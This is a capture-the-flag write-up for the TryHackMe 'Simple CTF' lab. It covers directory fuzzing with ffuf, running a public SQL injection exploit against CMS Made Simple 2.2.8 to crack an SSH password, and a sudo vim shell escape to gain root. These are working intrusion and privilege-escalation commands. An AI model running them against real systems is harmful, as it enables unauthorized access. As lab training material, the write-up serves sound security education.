> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/red-teaming/tcm-linux-privilege-escalation-course/tryhackme-simple-ctf-easy.md).

# TryHackMe - Simple CTF (Easy)

## Summary

FFUF finds a `/simple` directory on port 80 which hosts **CMS Made Simple 2.2.8**. This service has an **unauthenticated SQL injection** exploit. The exploit finds a SSH credential for us and we can SSH in to get a user shell.

In the privilege escalation phase, we find we are able to run Vim as root from `sudo -l`. Use a payload from GTFOBins to get a root shell.

## IP

* RHOST: 10.10.74.168
* LHOST: 10.13.12.2

## Nmap

![Nmap](https://i.imgur.com/uVGzg0L.png)

## Asset Discovery

Run FFUF:

```bash
ffuf -u http://10.10.74.168/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e .php,.html,.txt -fc 400,401,403
```

FFUF finds `/robots.txt` and `/simple`:

![FFUF](https://i.imgur.com/0FWFNjg.png)

## User Shell: CMS Made Simple 2.2.8 Unauthenticated SQL Injection

Version number is leaked on `/simple`:

![CMS Made Simple version 2.2.8](https://i.imgur.com/6caxBL3.png)

Searchsploit:

![Searchsploit](https://i.imgur.com/3wX2w7X.png)

Install termcolor:

```bash
python2 -m pip install termcolor
```

Run the exploit:

```bash
$ ./sqli.py -u http://10.10.74.168/simple --crack -w /usr/share/wordlists/rockyou.txt
```

The exploit finds a credential `mitch:secret`:

![Credential](https://i.imgur.com/eapbWfV.png)

SSH login as mitch:

```bash
ssh mitch@10.10.74.168 -p 2222
```

Now we have a user shell:

![User shell](https://i.imgur.com/PenCe2t.png)

## Privilege Escalation: GTFOBins

`sudo -l`:

![sudo -l](https://i.imgur.com/GTcNbKE.png)

Use the payload from GTFOBins:

```bash
$ sudo vim -c ':!/bin/sh'
```

Now we have a root shell:

![root shell](https://i.imgur.com/3kytSIq.png)